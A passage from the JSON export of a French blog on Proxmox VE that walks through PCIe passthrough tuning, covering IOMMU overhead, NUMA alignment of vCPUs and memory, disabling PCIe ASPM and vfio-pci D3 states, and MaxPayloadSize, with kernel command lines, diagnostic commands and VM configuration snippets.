vCPU de la VM sont sur le même nœud NUMA. Cela seul peut représenter une différence de débit de 20 à 30 % sur les systèmes multi-socket.\nASPM coupé — ajoutez pcie_aspm=off à la ligne de commande noyau de l\u0026rsquo;hôte. Élimine la gigue de latence due aux transitions d\u0026rsquo;état d\u0026rsquo;alimentation des liens PCIe.\nProfondeurs de file réalistes — testez à iodepth=32 ou plus, pas à iodepth=1. La surcharge IOMMU qui domine à basses profondeurs de file est amortie à des profondeurs réalistes.\nInterruptions postées — vérifiez que l\u0026rsquo;APICv (Intel) ou l\u0026rsquo;AVIC (AMD) est actif. Réduit la surcharge par interruption de microsecondes à nanosecondes.\nOptimisation du MPS — ajoutez pci=pcie_bus_perf à la ligne de commande noyau de l\u0026rsquo;hôte. Fixe le MaxPayloadSize au maximum que la topologie prend en charge.\nGestion de l\u0026rsquo;alimentation vfio-pci — ajoutez disable_idle_d3=1 si votre contrôleur NVMe a des soucis d\u0026rsquo;état d\u0026rsquo;alimentation sous passthrough.\nUne ligne de commande noyau hôte combinée pour un nœud Proxmox faisant du passthrough NVMe sur un système AMD EPYC ressemblerait à quelque chose comme :\nGRUB_CMDLINE_LINUX_DEFAULT=\u0026#34;quiet amd_iommu=on iommu=pt pcie_aspm=off pci=pcie_bus_perf\u0026#34; Pour Intel :\nGRUB_CMDLINE_LINUX_DEFAULT=\u0026#34;quiet intel_iommu=on iommu=pt pcie_aspm=off pci=pcie_bus_perf\u0026#34; Quand le passthrough n\u0026rsquo;en vaut pas la peine Avant de s\u0026rsquo;engager sur cette voie, il vaut de se demander si vous avez réellement besoin du passthrough NVMe du tout.\nVirtIO-SCSI et VirtIO-BLK avec un disque virtuel adossé au NVMe sont déjà très efficaces. La surcharge par rapport au passthrough est en général de 5 à 10 % sur la latence. La différence de débit est négligeable pour la plupart des charges.\nLe passthrough a du sens quand vous avez besoin que le système d\u0026rsquo;exploitation invité gère le périphérique directement. Cela inclut la surveillance SMART, les mises à jour de micrologiciel, le contrôle du TRIM/discard, et des fonctions NVMe précises comme les réservations. Il a aussi du sens pour les charges sensibles à la latence où même quelques microsecondes comptent. Certains moteurs de base de données et l\u0026rsquo;ingestion de données en temps réel entrent dans cette catégorie.\nPour tout le reste, les compromis d\u0026rsquo;exploitation vus plus haut — perte de la migration à chaud, perte des instantanés et de l\u0026rsquo;intégration des sauvegardes — l\u0026rsquo;emportent d\u0026rsquo;ordinaire sur le petit gain de performance.\nIl n\u0026rsquo;y a rien de malin à choisir le chemin le plus dur quand le plus facile fait le travail.\nVérifier vos changements Après avoir appliqué les étapes de réglage, vérifiez que tout marche comme prévu :\n# Host side — confirm IOMMU is in passthrough mode dmesg | grep -i iommu # Confirm ASPM is disabled lspci -vv | grep -i \u0026#34;ASPM Disabled\u0026#34; # Check MPS on the NVMe controller lspci -vv -s XX:00.0 | grep MaxPayload # Inside the VM — run the fio comparison fio --name=randread --ioengine=libaio --direct=1 --bs=4k \\ --iodepth=32 --numjobs=4 --rw=randread --size=1G \\ --filename=/dev/nvme0n1 --runtime=30 --time_based \\ --group_reporting Comparez les résultats de la VM à votre référence métal nu antérieure. À iodepth=32, vous devriez voir un débit à 5 % près du métal nu. Les moyennes de latence d\u0026rsquo;achèvement devraient être à 10-15 µs près des chiffres de l\u0026rsquo;hôte. Si l\u0026rsquo;écart est encore grand, vérifiez d\u0026rsquo;abord l\u0026rsquo;alignement NUMA. C\u0026rsquo;est le facteur le plus souvent négligé. Il ne coûte aussi rien qu\u0026rsquo;un changement de configuration, ce qui en fait le meilleur genre de problème avec lequel rester.\nRéférences Linux kernel PCI documentation — MPS and MRRS tuning options — la source qui fait autorité pour pcie_bus_perf, pcie_bus_safe, et les paramètres liés Proxmox VE Administration Guide — PCI(e) Passthrough — la documentation Proxmox officielle sur la configuration du passthrough de périphériques VFIO Proxmox Forum — NVMe Passthrough Performance — la discussion communautaire qui a motivé cet article ","permalink":"https://blogs.damiendye.uk/fr/proxmox/pcie-passthrough-performance-the-iommu-tax/","summary":"Pourquoi les périphériques PCIe perdent du débit quand on les passe à une VM par VFIO, et les étapes de réglage pratiques qui en récupèrent l\u0026rsquo;essentiel.","title":"Performance du passthrough PCIe sur Proxmox VE — la taxe IOMMU et comment la réduire"},{"content":"Ce qu\u0026rsquo;est le NUMA NUMA veut dire Non-Uniform Memory Access, accès mémoire non uniforme. Sur un système mono-socket, tous les cœurs CPU accèdent à l\u0026rsquo;ensemble de la RAM du système par le même contrôleur mémoire. Le temps d\u0026rsquo;accès est le même quel que soit le cœur qui fait la demande et l\u0026rsquo;endroit où siègent les données en mémoire physique.\nSur un système multi-sockets, chaque socket CPU a son propre contrôleur mémoire et sa propre banque de RAM. Un cœur du socket 0 accède rapidement à la RAM rattachée au socket 0 — c\u0026rsquo;est la mémoire locale. Il peut aussi accéder à la RAM rattachée au socket 1, mais cette demande doit traverser le lien inter-socket (Intel UPI, AMD Infinity Fabric). C\u0026rsquo;est de la mémoire distante, et c\u0026rsquo;est plus lent.\nLe noyau appelle nœud NUMA l\u0026rsquo;ensemble d\u0026rsquo;un socket et de sa mémoire locale. Un système bi-socket AMD EPYC a au moins deux nœuds NUMA. Certains processeurs EPYC exposent quatre nœuds NUMA par socket (un par CCD), ce qui donne huit nœuds sur une carte bi-socket.\nL\u0026rsquo;écart de performance entre accès local et accès distant n\u0026rsquo;a rien de subtil. L\u0026rsquo;accès local tourne autour de 80 à 100 ns. L\u0026rsquo;accès distant autour de 130 à 200 ns. C\u0026rsquo;est une pénalité de 50 à 100 % par opération mémoire. Prise seule, c\u0026rsquo;est un très petit chiffre. Payée sur chaque accès mémoire pendant toute la vie de la VM, elle cesse d\u0026rsquo;être petite.\nPourquoi ça compte pour la virtualisation Quand Proxmox crée une VM, il alloue des vCPU et de la RAM. Par défaut, ces vCPU peuvent être ordonnancés sur n\u0026rsquo;importe quel cœur physique de n\u0026rsquo;importe quel socket. La RAM de la VM peut être allouée depuis le pool mémoire de n\u0026rsquo;importe quel nœud NUMA.\nSi l\u0026rsquo;ordonnanceur met un vCPU sur le socket 0 alors que la RAM de la VM est sur le socket 1, chaque accès mémoire de ce vCPU traverse le lien inter-socket. Si les vCPU rebondissent entre les sockets — ce qu\u0026rsquo;ils feront s\u0026rsquo;ils ne sont pas épinglés — le motif d\u0026rsquo;accès mémoire devient un fouillis. Certains accès sont locaux, d\u0026rsquo;autres distants, et les performances de la VM sautillent en conséquence.\nPour des charges générales — un serveur web, un serveur de fichiers, une VM bureautique — c\u0026rsquo;est souvent supportable. La surcharge est là mais elle se répartit sur beaucoup d\u0026rsquo;opérations et ne domine pas.\nPour des charges intensives en E/S — bases de données, serveurs de stockage, tout ce qui fait beaucoup d\u0026rsquo;E/S disque ou réseau — la pénalité se cumule. Chaque achèvement de DMA, chaque livraison d\u0026rsquo;interruption, chaque copie de tampon passe par la mémoire. Si ces accès traversent les sockets, la surcharge s\u0026rsquo;accumule vite.\nPourquoi ça compte pour le passthrough Les équipements PCIe sont physiquement câblés à un socket CPU donné. Chaque socket a son propre root complex PCIe. Le disque NVMe du connecteur 3 est peut-être sur les lignes PCIe du socket 0. Le GPU du connecteur 5 est peut-être sur celles du socket 1.\nQuand un équipement fait du DMA, les données vont dans la mémoire rattachée au nœud NUMA vers lequel l\u0026rsquo;IOMMU les dirige. Si la RAM de la VM est allouée depuis le nœud local de l\u0026rsquo;équipement, l\u0026rsquo;écriture DMA va directement en mémoire locale. Si la RAM est sur l\u0026rsquo;autre nœud, chaque opération DMA traverse le lien inter-socket.\nPour un disque NVMe qui fait des centaines de milliers d\u0026rsquo;IOPS, cette pénalité de 50 à 100 ns par opération s\u0026rsquo;additionne. À iodepth=32 en lectures aléatoires de 4 Kio, l\u0026rsquo;écart de débit entre NUMA aligné et mal aligné peut atteindre 20 à 30 %. Et ça, c\u0026rsquo;est avant d\u0026rsquo;avoir regardé la surcharge IOMMU, l\u0026rsquo;ASPM, le MPS ou quoi que ce soit d\u0026rsquo;autre.\nUn NUMA mal aligné envoie chaque DMA sur le lien inter-socket ; aligné, il reste local Mal aligné — la VM est sur le nœud 0, le disque sur le nœud 1 Nœud NUMA 0 cœurs 0–15 RAM 128 Go VM : vCPU épinglés 0–15, RAM allouée ici Nœud NUMA 1 cœurs 16–31 RAM 128 Go NVMe — root complex 1 UPI / IF chaque DMA traverse le lien — 130 à 200 ns Aligné — vCPU, RAM et disque tous sur le nœud 1 Nœud NUMA 0 cœurs 0–15 RAM 128 Go libre pour d'autres VM Nœud NUMA 1 cœurs 16–31 RAM 128 Go NVMe — root complex 1 VM : affinity 16-31, numa0 hostnodes=1, policy=bind au repos 80 à 100 ns À iodepth=32 en lectures aléatoires de 4 Kio, l'écart entre les deux vaut 20 à 30 % du débit — avant même que la surcharge IOMMU, l'ASPM ou le MPS n'entrent en jeu. Sur un système mono-socket il n'y a pas de second nœud ni de lien inter-socket, rien de tout ceci ne s'applique. Le même matériel dans les deux cas. La seule différence est le nœud sur lequel la VM a été épinglée — et si le DMA du disque doit traverser le lien pour atteindre la mémoire de la VM. La même chose vaut pour les cartes réseau, les GPU et tout autre équipement passé en passthrough. Le trafic DMA de l\u0026rsquo;équipement doit atterrir en mémoire locale, et les vCPU qui traitent ce trafic doivent être sur le même nœud.\nComment vérifier votre topologie Trouver sur quel nœud NUMA se trouve un équipement # Replace 0000:XX:00.0 with your device\u0026#39;s PCI address from lspci cat /sys/bus/pci/devices/0000:XX:00.0/numa_node Ceci renvoie le numéro du nœud NUMA. Si ça renvoie -1, le noyau n\u0026rsquo;a pas pu déterminer le nœud. Ça arrive parfois avec des équipements derrière certains switches PCIe. Dans ce cas, tracez la topologie PCIe à la main avec lspci -tv et faites correspondre le port racine au socket.\nVoir votre disposition NUMA complète numactl --hardware Ceci vous montre chaque nœud NUMA, combien de cœurs CPU s\u0026rsquo;y trouvent, combien de mémoire y est rattachée, et la distance (coût relatif) entre les nœuds.\nExemple de sortie sur un système EPYC bi-socket :\navailable: 2 nodes (0-1) node 0 cpus: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 node 0 size: 131072 MB node 1 cpus: 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 node 1 size: 131072 MB node distances: node 0 1 0: 10 32 1: 32 10 Lire la table des distances entre nœuds de numactl --hardware La table des distances de\u0026#160;numactl --hardware Bi-socket, 2 nœuds NUMA par socket. Coût relatif, pas des nanosecondes. nœud 0 nœud 1 nœud 2 nœud 3 nœud 0 nœud 1 nœud 2 nœud 3 10 16 32 32 16 10 32 32 32 32 10 16 32 32 16 10 socket 0 socket 1 10 — le nœud lui-même, mémoire locale 16 — même socket, l'autre nœud 32 — à travers le lien inter-socket Épinglez une VM et son équipement dans un même 10, et jamais sa mémoire sur un 32. Une carte à 2 nœuds ne montre que 10 et 32 ; les 16 apparaissent dès qu'un socket expose plusieurs nœuds. Les chiffres sont des coûts relatifs, pas des nanosecondes. Gardez une VM et son équipement à l\u0026rsquo;intérieur d\u0026rsquo;un même 10, et ne laissez jamais sa mémoire atterrir sur un 32. La table des distances vous donne le coût relatif. 10, c\u0026rsquo;est local. 32, c\u0026rsquo;est distant. Des nombres plus élevés veulent dire plus de sauts. Sur des configurations EPYC à quatre nœuds par socket, certaines paires de nœuds sont à 32 et d\u0026rsquo;autres à 16, selon le CCD sur lequel elles se trouvent.\nFaire correspondre les équipements aux nœuds # List all PCI devices and their NUMA nodes for dev in /sys/bus/pci/devices/*; do node=$(cat \u0026#34;$dev/numa_node\u0026#34; 2\u0026gt;/dev/null) echo \u0026#34;$(basename $dev) node=$node $(lspci -s $(basename $dev) 2\u0026gt;/dev/null | cut -d\u0026#39; \u0026#39; -f2-)\u0026#34; done Ceci vous donne une image complète des équipements et de leurs nœuds. Cherchez vos contrôleurs NVMe, vos cartes réseau et les GPU que vous passez en passthrough.\nComment aligner une VM sous Proxmox Épingler les vCPU sur le bon nœud Dans le fichier de configuration de la VM (/etc/pve/qemu-server/\u0026lt;vmid\u0026gt;.conf) :\nnuma: 1 affinity: 0-15 # Adjust to match cores on the correct NUMA node Le paramètre affinity épingle les vCPU de la VM sur des cœurs physiques précis. Réglez-le sur la plage de cœurs du même nœud NUMA que votre équipement en passthrough.\nSi votre NVMe est sur le nœud 1 et que le nœud 1 a les cœurs 16 à 31, mettez affinity: 16-31. Si la VM n\u0026rsquo;a besoin que de 8 vCPU, épinglez sur un sous-ensemble : affinity: 16-23.\nAllouer la mémoire depuis le bon nœud Activer numa: 1 dans la configuration de la VM dit à Proxmox de présenter une topologie NUMA à la VM. QEMU tentera d\u0026rsquo;allouer la mémoire de la VM depuis le nœud NUMA où les vCPU sont épinglés.\nPour un contrôle explicite, vous pouvez fixer la topologie NUMA dans la configuration de la VM :\nnuma0: cpus=0-7,hostnodes=0,memory=16384,policy=bind Ceci dit à QEMU de lier le premier nœud NUMA de la VM (le nœud 0 du point de vue de l\u0026rsquo;invité) au nœud NUMA hôte 0, en utilisant les cœurs 0 à 7 et 16 Gio de mémoire. Le policy=bind garantit que la mémoire est allouée strictement depuis ce nœud plutôt que de se rabattre sur d\u0026rsquo;autres nœuds si le pool local est sous pression.\nVérifier l\u0026rsquo;épinglage Après avoir démarré la VM, vérifiez que les vCPU tournent bien là où vous le pensez :\n# Find the QEMU process pgrep -a qemu | grep \u0026lt;vmid\u0026gt; # Check CPU affinity of the process taskset -cp \u0026lt;pid\u0026gt; # Or check per-vCPU thread affinity for tid in $(ls /proc/\u0026lt;pid\u0026gt;/task/); do echo \u0026#34;Thread $tid: $(taskset -cp $tid 2\u0026gt;/dev/null)\u0026#34; done Erreurs courantes Ne pas épingler du tout Si vous ne réglez pas affinity, les vCPU de la VM peuvent être ordonnancés sur n\u0026rsquo;importe quel cœur. L\u0026rsquo;ordonnanceur du noyau les déplacera entre les nœuds selon l\u0026rsquo;équilibrage de charge. Chaque fois qu\u0026rsquo;un vCPU migre d\u0026rsquo;un nœud à l\u0026rsquo;autre, toutes les données sur lesquelles il travaillait dans le cache de l\u0026rsquo;ancien nœud deviennent distantes.\nPour des VM générales, c\u0026rsquo;est acceptable. Pour des VM en passthrough qui font beaucoup d\u0026rsquo;E/S, non.\nÉpingler sur le mauvais nœud Vérifiez le nœud NUMA de l\u0026rsquo;équipement avant d\u0026rsquo;épingler. Ne supposez rien. Sur certaines cartes mères, la numérotation physique des connecteurs ne correspond pas au nœud NUMA de façon évidente. Vérifiez toujours avec cat /sys/bus/pci/devices/.../numa_node.\nSur-souscrire un nœud Si vous épinglez trop de VM sur le même nœud NUMA, les cœurs de ce nœud deviennent sur-souscrits et le pool mémoire local s\u0026rsquo;épuise. Quand la mémoire déborde sur le nœud distant, vous obtenez le pire des deux mondes : des vCPU épinglés avec de la mémoire distante.\nÉquilibrez le placement de vos VM entre les nœuds. Si vous avez deux nœuds NUMA et quatre VM, répartissez-les équitablement.\nOublier l\u0026rsquo;allocation mémoire Épingler les vCPU sans contrôler aussi l\u0026rsquo;allocation mémoire ne vous donne que la moitié du bénéfice. Les vCPU sont sur le bon nœud mais la mémoire n\u0026rsquo;y est peut-être pas. Utilisez policy=bind ou, au minimum, activez numa: 1 pour que l\u0026rsquo;allocation de QEMU suive l\u0026rsquo;épinglage CPU.\nSystèmes mono-socket Sur un système mono-socket, tout est sur le nœud NUMA 0. Il n\u0026rsquo;y a qu\u0026rsquo;un contrôleur mémoire et un seul jeu de lignes PCIe. L\u0026rsquo;alignement NUMA n\u0026rsquo;est pas un sujet.\nVous pouvez quand même mettre numa: 1 dans la configuration de la VM — ça ne fera pas de mal — mais ça n\u0026rsquo;aidera pas non plus. Un socket, un contrôleur mémoire, rien à aligner. Gardez l\u0026rsquo;effort pour une machine qui en a deux. Ainsi, les gains décrits ici ne valent que pour les systèmes multi-sockets, là où le lien inter-socket existe.\nRéférences Guide d\u0026rsquo;administration Proxmox VE — configuration CPU et NUMA — la documentation officielle sur l\u0026rsquo;épinglage des vCPU et les options NUMA Documentation NUMA du noyau Linux — la référence sur la politique mémoire du noyau AMD EPYC série 7003 — guide de réglage BIOS et charges de travail (doc 58002) — la documentation d\u0026rsquo;AMD sur le NUMA par socket et la topologie CCD/CCX ","permalink":"https://blogs.damiendye.uk/fr/proxmox/numa-alignment-proxmox/","summary":"Sur les systèmes multi-sockets, une VM dont les vCPU sont sur un nœud NUMA et l\u0026rsquo;équipement en passthrough sur un autre perd 20 à 30 % de débit avant même que vous ayez regardé quoi que ce soit d\u0026rsquo;autre.","title":"Alignement NUMA sur Proxmox VE — pourquoi ça compte et comment bien le faire"},{"content":"Ce que fait l\u0026rsquo;ASPM L\u0026rsquo;Active State Power Management (ASPM) PCIe permet aux liens PCIe d\u0026rsquo;entrer dans des états basse consommation quand ils sont au repos. La spécification PCIe définit plusieurs états de lien :\nL0 est l\u0026rsquo;état pleinement actif. Le lien est établi, les deux extrémités sont alimentées, les données peuvent circuler immédiatement.\nL0s est un état de repos léger. Le lien s\u0026rsquo;éteint partiellement. Le retour en L0 prend environ 1 à 4 µs selon le matériel. Chaque extrémité peut entrer en L0s indépendamment.\nL1 est un état de repos plus profond. Les deux extrémités du lien s\u0026rsquo;éteignent ensemble. Le retour en L0 prend plus longtemps — typiquement 2 à 32 µs, parfois davantage. Le temps de reprise exact dépend de l\u0026rsquo;équipement, de la génération PCIe et de la plateforme.\nL1.1 et L1.2 sont des sous-états de L1 introduits en PCIe 3.0. Ils réduisent encore la consommation en coupant la référence d\u0026rsquo;horloge de la PLL. Le retour depuis L1.2 peut prendre 32 à 100 µs. Pour un périphérique de stockage, ce n\u0026rsquo;est pas une erreur d\u0026rsquo;arrondi. C\u0026rsquo;est à peu près aussi long que la lecture que vous essayiez de faire au départ.\nPlus le lien dort profondément, plus le prochain IO attend état du lien temps de retour en L0 — la latence qu'un IO paie s'il arrive maintenant L0 pleinement actif — les données passent aucun L0s repos léger, chaque côté séparément 1–4 µs L1 repos profond, les deux côtés ensemble 2–32 µs L1.1 / L1.2 sous-états PCIe 3.0 — horloge PLL coupée 32–100 µs Barres à l'échelle du pire cas de 100 µs. Un sommeil plus profond économise plus d'énergie et coûte plus cher au réveil. Les barres sont les temps de reprise, à l\u0026rsquo;échelle du pire cas de 100 µs. Plus le sommeil est profond, plus il économise et plus il coûte quand le trafic reprend. L\u0026rsquo;idée est simple. Si un lien PCIe est au repos pendant quelques microsecondes, on le fait passer dans un état moins gourmand. Quand le trafic reprend, on le réveille. On économise un peu d\u0026rsquo;énergie entretemps.\nSur un portable ou une machine de bureau qui passe le plus clair de son temps à ne rien faire, l\u0026rsquo;ASPM économise vraiment. Quelques watts par lien, cumulés sur tous les équipements PCIe du système. Sur un serveur qui fait tourner des charges intensives en E/S, les liens sont rarement au repos assez longtemps pour que l\u0026rsquo;ASPM serve à grand-chose.\nPourquoi ça pose problème sous passthrough Sur du matériel nu, le système d\u0026rsquo;exploitation et le pilote de l\u0026rsquo;équipement négocient la gestion d\u0026rsquo;énergie ensemble. Le pilote NVMe sait quand le lien va passer au repos et quand il va soumettre de nouvelles E/S. Le sous-système PCIe du noyau coordonne les transitions d\u0026rsquo;état du lien avec le pilote. Tout est synchronisé.\nSous passthrough VFIO, cette coordination s\u0026rsquo;effondre.\nLe noyau hôte contrôle toujours le lien PCIe physique. La VM invitée possède l\u0026rsquo;équipement via VFIO, mais elle ne contrôle pas le lien lui-même. Le sous-système PCIe de l\u0026rsquo;hôte voit le lien passer au repos — parce que du point de vue de l\u0026rsquo;hôte, aucun pilote côté hôte ne l\u0026rsquo;utilise. Il fait passer le lien dans un état basse consommation. Quand l\u0026rsquo;invité soumet une E/S, l\u0026rsquo;équipement a besoin que le lien revienne en L0. Le temps de reprise apparaît comme de la latence ajoutée sur cette opération d\u0026rsquo;E/S.\nLe résultat, c\u0026rsquo;est une latence irrégulière. La plupart des E/S se terminent à la vitesse normale. Certaines prennent bien plus longtemps parce qu\u0026rsquo;elles tombent sur un lien en L1 ou L1.2 qui doit d\u0026rsquo;abord se réveiller. Ça se voit comme un large étalement dans vos percentiles de clat (latence d\u0026rsquo;achèvement). La moyenne peut avoir l\u0026rsquo;air très bien. Le p99 peut être 5 à 10 fois plus haut.\nC\u0026rsquo;est difficile à repérer parce que les chiffres de débit moyen peuvent sembler corrects. Vous ne voyez le problème qu\u0026rsquo;en regardant la latence de queue. Beaucoup de tests de performance ne la mettent pas en avant si vous ne demandez pas une sortie en percentiles.\nASPM ne touche pas à la moyenne et détruit la queue ASPM actif pcie_aspm=off latence de complétion (µs) 0 30 60 90 120 3× pire à p99 — et 7× sa propre moyenne ASPM actif pcie_aspm=off p50 p90 p99 p99.9 p99.99 La moyenne et p50 sont identiques dans les deux essais — seule la queue les sépare. Les chiffres illustrent le motif, ce ne sont pas des mesures sur un disque précis. Le même disque avec et sans ASPM. Le p50 est identique, donc un test qui ne donne que la moyenne ne signale aucun problème ; les dégâts sont tous au-delà du p90, là où s\u0026rsquo;accumulent les E/S tombées sur un lien endormi. La subtilité propre à VFIO Il y a ici une subtilité qui va au-delà du simple problème de l\u0026rsquo;hôte et de l\u0026rsquo;invité se disputant l\u0026rsquo;état du lien.\nQuand un équipement est rattaché à vfio-pci sur l\u0026rsquo;hôte, le noyau hôte sait qu\u0026rsquo;il est en mode passthrough. Mais la politique ASPM PCIe s\u0026rsquo;applique au niveau du lien, pas au niveau de l\u0026rsquo;équipement. La politique ASPM de l\u0026rsquo;hôte s\u0026rsquo;applique toujours au lien physique parce que l\u0026rsquo;hôte possède toujours la topologie PCIe.\nVFIO n\u0026rsquo;intercepte ni ne surcharge les transitions ASPM. Il fait passer l\u0026rsquo;espace BAR et les interruptions de l\u0026rsquo;équipement, mais la gestion d\u0026rsquo;énergie du lien reste sous contrôle de l\u0026rsquo;hôte. L\u0026rsquo;invité n\u0026rsquo;a aucun moyen de dire à l\u0026rsquo;hôte « garde ce lien en L0 ».\nL'invité possède l'équipement, l'hôte possède toujours le lien — et il n'y a aucun canal entre les deux VM invitée pilote NVMe possède l'équipement, soumet l'IO Noyau de l'hôte sous-système PCIe politique ASPM vfio-pci politique des états D aucun moyen de dire « garder ce lien en L0 » lien PCIe physique — en L1, endormi c'est l'hôte qui décide, pas l'invité l'hôte ne voit aucun pilote s'en servir, donc il laisse le lien dormir l'invité soumet un IO, en attendant L0 cet IO attend le réveil du lien — 2 à 32 µs, jusqu'à 100 µs depuis L1.2 VFIO fait passer l'espace BAR et les interruptions. La gestion d'énergie du lien n'en fait pas partie. La plupart des IO ne rencontrent jamais le lien endormi, et c'est pourquoi seule la queue bouge. La séparation qui en est la cause : l\u0026rsquo;invité possède l\u0026rsquo;équipement et soumet les E/S, l\u0026rsquo;hôte possède le lien et décide quand il dort, et rien ne relie les deux. Certains matériels et certaines versions de noyau récents s\u0026rsquo;en sortent mieux que d\u0026rsquo;autres. Ainsi, l\u0026rsquo;approche la plus sûre est de sortir complètement l\u0026rsquo;ASPM du tableau.\nComment le désactiver Ajoutez pcie_aspm=off à la ligne de commande du noyau hôte :\n# Edit /etc/default/grub GRUB_CMDLINE_LINUX_DEFAULT=\u0026#34;quiet pcie_aspm=off\u0026#34; # Update GRUB and reboot update-grub reboot Ceci empêche l\u0026rsquo;hôte de placer un lien PCIe quelconque dans un état basse consommation. Ça s\u0026rsquo;applique globalement. À tous les équipements PCIe de l\u0026rsquo;hôte, pas seulement à celui qui est passé en passthrough.\nVérifiez après redémarrage :\n# Should show \u0026#34;ASPM Disabled\u0026#34; for all devices lspci -vv | grep -i \u0026#34;ASPM\u0026#34; Le coût en énergie Désactiver l\u0026rsquo;ASPM augmente bel et bien la consommation au repos. Chaque lien PCIe qui serait autrement en L1 reste en L0 et consomme quelques centaines de milliwatts de plus. Sur un système avec dix ou quinze équipements PCIe, ça peut faire 2 à 5 watts de plus au repos.\nPour un serveur en centre de données, 2 à 5 watts est une erreur d\u0026rsquo;arrondi sur la facture. Pour un homelab, c\u0026rsquo;est une fraction de ce que consomment le CPU et la mémoire. Pour un portable, ça compte. Mais vous ne feriez pas de passthrough VFIO sur la batterie d\u0026rsquo;un portable.\nLe compromis est net. Quelques watts au repos contre des pics de latence imprévisibles sur vos équipements en passthrough. Sur tout système qui fait du passthrough, l\u0026rsquo;ASPM devrait être coupé.\nLes états d\u0026rsquo;énergie au niveau de l\u0026rsquo;équipement L\u0026rsquo;ASPM contrôle l\u0026rsquo;état d\u0026rsquo;énergie du lien PCIe. Les équipements ont aussi leur propre gestion d\u0026rsquo;énergie — les états D PCIe (de D0 à D3).\nQuand un équipement est en D3 (complètement éteint), ce n\u0026rsquo;est pas seulement le lien qui dort. L\u0026rsquo;équipement lui-même s\u0026rsquo;est arrêté. Sous passthrough VFIO, le pilote vfio-pci de l\u0026rsquo;hôte peut placer l\u0026rsquo;équipement en D3 quand la VM ne tourne pas ou quand la politique de gestion d\u0026rsquo;énergie de l\u0026rsquo;hôte estime qu\u0026rsquo;il est au repos.\nCertains contrôleurs NVMe ne gèrent pas proprement la transition D3 vers D0. Ils ne reviennent pas correctement, l\u0026rsquo;invité perd l\u0026rsquo;équipement, et la seule issue est un redémarrage de la VM, parfois de l\u0026rsquo;hôte.\nLe Samsung 990 EVO Plus est un fautif bien connu. La correction est l\u0026rsquo;option de module disable_idle_d3 pour vfio-pci :\n# /etc/modprobe.d/vfio.conf options vfio-pci disable_idle_d3=1 Ceci empêche vfio-pci de placer en D3 un équipement rattaché quand il est au repos. Comme pcie_aspm=off, c\u0026rsquo;est un réglage global. Tout équipement rattaché à vfio-pci reste en D0. C\u0026rsquo;est en général ce que vous voulez pour du passthrough, où l\u0026rsquo;invité devrait être le seul à contrôler l\u0026rsquo;état d\u0026rsquo;énergie de l\u0026rsquo;équipement.\nL\u0026rsquo;option disable_idle_d3 est distincte de l\u0026rsquo;ASPM. L\u0026rsquo;ASPM contrôle le lien. D3 contrôle l\u0026rsquo;équipement. Les deux peuvent poser problème indépendamment. Pour une configuration de passthrough propre, désactivez les deux.\nContrôle de l\u0026rsquo;ASPM équipement par équipement Si vous ne voulez pas désactiver l\u0026rsquo;ASPM globalement — peut-être avez-vous d\u0026rsquo;autres équipements PCIe sur l\u0026rsquo;hôte qui profitent de l\u0026rsquo;économie d\u0026rsquo;énergie — vous pouvez contrôler l\u0026rsquo;ASPM lien par lien via sysfs :\n# Find the link\u0026#39;s ASPM policy cat /sys/bus/pci/devices/0000:XX:00.0/link/l1_aspm # Disable ASPM for a specific link echo 0 \u0026gt; /sys/bus/pci/devices/0000:XX:00.0/link/l1_aspm C\u0026rsquo;est plus ciblé mais moins fiable au fil des redémarrages et des mises à jour du noyau. Pour la plupart des configurations de passthrough, le drapeau noyau global pcie_aspm=off est plus simple et plus prévisible.\nQuand l\u0026rsquo;ASPM n\u0026rsquo;est pas le problème Toute gigue de latence n\u0026rsquo;est pas de l\u0026rsquo;ASPM.\nSi vos percentiles de clat sont hauts de façon constante (et pas seulement la queue), le problème vient plus probablement de la surcharge de traduction IOMMU, d\u0026rsquo;un mauvais alignement NUMA ou d\u0026rsquo;un MPS mal apparié. L\u0026rsquo;ASPM produit un motif bimodal bien particulier — la plupart des E/S sont rapides, quelques-unes sont lentes — parce qu\u0026rsquo;il n\u0026rsquo;affecte que les E/S qui arrivent au moment où le lien est dans un état basse consommation.\nCherchez d\u0026rsquo;abord du côté de l\u0026rsquo;ASPM quand vous voyez :\nune latence p99 5 fois ou plus supérieure à la moyenne des résultats fio incohérents d\u0026rsquo;une exécution à l\u0026rsquo;autre une latence qui s\u0026rsquo;améliore sous charge soutenue mais se dégrade sur des charges en rafales Si la latence est mauvaise de façon constante quel que soit le profil de charge, cherchez ailleurs. L\u0026rsquo;ASPM vaut la peine d\u0026rsquo;être écarté tôt parce que c\u0026rsquo;est bon marché à tester. Ce n\u0026rsquo;est pas pour autant la réponse à tout lien lent, et le poursuivre quand les chiffres ne collent pas au motif, c\u0026rsquo;est un après-midi que vous ne récupérerez pas.\nRéférences Documentation PCI du noyau Linux — paramètres ASPM — le source du noyau qui couvre pcie_aspm=off et les options associées Forum Proxmox — passthrough PCI NVMe, impossible de changer l\u0026rsquo;état d\u0026rsquo;énergie — le fil communautaire qui couvre disable_idle_d3 pour les contrôleurs NVMe Samsung Wiki Proxmox VE — passthrough PCI(e) — la documentation officielle sur la configuration du passthrough ","permalink":"https://blogs.damiendye.uk/fr/proxmox/pcie-aspm-passthrough/","summary":"L\u0026rsquo;Active State Power Management économise quelques watts sur les liens PCIe au repos. Sous passthrough VFIO, il ajoute une gigue de latence difficile à diagnostiquer et facile à corriger.","title":"L'ASPM PCIe et pourquoi le désactiver pour le passthrough"},{"content":"Ce qu\u0026rsquo;est le MPS Les équipements PCIe transfèrent les données dans des paquets appelés Transaction Layer Packets (TLP). Chaque TLP a un en-tête et une charge utile. La taille maximale de cette charge utile est la MaxPayloadSize (MPS).\nLe MPS est négocié entre un équipement et son pont amont pendant l\u0026rsquo;entraînement du lien. La valeur négociée est la plus petite entre ce que l\u0026rsquo;équipement gère et ce que le pont autorise. Chaque pont et chaque switch sur le chemin entre l\u0026rsquo;équipement et le root complex a sa propre capacité MPS. Le MPS final d\u0026rsquo;un équipement est fixé par le point le plus étroit de la chaîne.\nLes valeurs courantes de MPS sont 128, 256 et 512 octets. Certains équipements gèrent 1024 voire 4096 octets, mais en pratique 256 ou 512 est la norme pour les contrôleurs NVMe et les cartes réseau. Les GPU gèrent souvent 256 octets.\nPourquoi ça compte Un MPS plus grand, c\u0026rsquo;est moins de paquets pour la même quantité de données. Une E/S de 4 Kio transférée à MPS 128 demande 32 TLP. Le même transfert à MPS 512 en demande 8.\nChaque TLP transporte une surcharge de protocole — l\u0026rsquo;en-tête, le CRC, le tramage. Moins de TLP, c\u0026rsquo;est moins de surcharge de protocole par octet transféré. À 